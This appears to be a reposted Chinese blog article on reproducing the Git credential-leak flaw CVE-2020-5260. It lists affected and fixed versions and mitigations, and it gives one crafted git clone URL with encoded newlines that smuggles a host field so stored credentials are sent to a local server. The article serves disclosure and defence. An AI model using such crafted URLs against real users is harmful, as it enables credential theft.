博客
关于我
Git凭证泄露漏洞(CVE-2020-5260)复现
阅读量:796 次
发布时间:2019-03-25

本文共 1477 字,大约阅读时间需要 4 分钟。

Git 安全漏洞洞察

####.wallet.vc

Git的一项功能设计在特定情况下存在安全漏洞。这项漏洞影响Git客户端在处理特定格式的URL时,将用户凭证信息泄露给攻击者。


漏洞描述

Git的凭证助手功能旨在简化用户存储和管理远程仓库凭据的过程。然而,当远程仓库URL包含经过URL编码的换行符时,Git会将非预期的凭据信息注入到其协议流中。这使得恶意URL能够诱骗Git客户端向攻击者发送核心凭据数据。

此漏洞主要影响那些执行git clone指令时,遵循包含编码换行符的恶意URL的Git客户端。攻击者可利用该漏洞窃取用户的主机凭据,进而进行后续的恶意操作。


受影响版本

本漏洞存在于以下Git版本中:

  • 受影响版本

    • Git 2.17.x ≤ 2.17.3
    • Git 2.18.x ≤ 2.18.2
    • Git 2.19.x ≤ 2.19.3
    • Git 2.20.x ≤ 2.20.2
    • Git 2.21.x ≤ 2.21.1
    • Git 2.22.x ≤ 2.22.2
    • Git 2.23.x ≤ 2.23.1
    • Git 2.24.x ≤ 2.24.1
    • Git 2.25.x ≤ 2.25.2
    • Git 2.26.x ≤ 2.26.0
  • 修复版本及更新

    • Git 2.17.4及更高版本
    • Git 2.18.3及更高版本
    • Git 2.19.4及更高版本
    • Git 2.20.3及更高版本
    • Git 2.21.2及更高版本
    • Git 2.22.3及更高版本
    • Git 2.23.2及更高版本
    • Git 2.24.2及更高版本
    • Git 2.25.3及更高版本
    • Git 2.26.1及更高版本

漏洞复现演示

在执行类似以下命令时,Git可能会受到此漏洞的影响:

git clone 'http://localhost:8088/%0ahost=github.com%0aprotocol=https'

此命令包含通过URL编码进行的手动注入的信息。Git在解析过程中会误解这些信息,从而向攻击者泄露用户的凭据信息。


漏洞修复

官方修复

Git社区已发布修复更新,建议使用受影响版本之外的最新版本来确保系统安全。修复版本包括:

其他防护方法

尽管官方已经提供更新,建议采取以下额外措施来防范此类风险:

  • 禁用凭证助手功能

    git config --unset credential.helpergit config --global --unset credential.helpergit config --system --unset credential.helper

    临时禁用凭证助手功能可以立即阻止漏洞利用。

  • 防御恶意URL

    • 在克隆仓库前,检查URL的主机名(host)部分是否包含编码换行符或其他不自然的字符串。

    • 避免使用git clone --recurse-submodules,特别是在处理未经验证的仓库时。建议用户在克隆后手动检查.gitmodules文件,确保所有子模块的URL安全可靠。

    • 不要对不明来源或不可信的URL执行git clone,尤其是公开仓库。

  • 审查及过滤输入源

    • 用户可选择在仓库URL中添加过滤脚本或使用安全工具来检测异常请求,防止恶意URL注入。

  • 相关参考资料


    注意事项

    本文仅供安全研究与教育目的使用。请在执行相关操作前,确保您了解潜在风险,并遵守相关安全规范。

    转载地址:http://sxyyk.baihongyu.com/

    你可能感兴趣的文章
    Navicat控制mysql用户权限
    查看>>
    navicat操作mysql中某一张表后, 读表时一直显示正在载入,卡死不动,无法操作
    查看>>
    Navicat连接mysql 2003 - Can't connect to MySQL server on ' '(10038)
    查看>>
    Navicat连接mysql数据库中出现的所有问题解决方案(全)
    查看>>
    Navicat连接Oracle出现Oracle library is not loaded的解决方法
    查看>>
    Navicat连接Oracle数据库以及Oracle library is not loaded的解决方法
    查看>>
    Navicat连接sqlserver提示:未发现数据源名并且未指定默认驱动程序
    查看>>
    navicat连接远程mysql数据库
    查看>>
    Navicat通过存储过程批量插入mysql数据
    查看>>
    Navicat(数据库可视化操作软件)安装、配置、测试
    查看>>
    navigationController
    查看>>
    NB-IOT使用LWM2M移动onenet基础通信套件对接之APN设置
    查看>>
    NBear简介与使用图解
    查看>>
    Vue过滤器_使用过滤器进行数据格式化操作---vue工作笔记0015
    查看>>
    Ncast盈可视 高清智能录播系统 IPSetup.php信息泄露+RCE漏洞复现(CVE-2024-0305)
    查看>>
    NCNN中的模型量化解决方案:源码阅读和原理解析
    查看>>
    NCNN源码学习(1):Mat详解
    查看>>
    nc命令详解
    查看>>
    NC综合漏洞利用工具
    查看>>
    ndarray 比 recarray 访问快吗?
    查看>>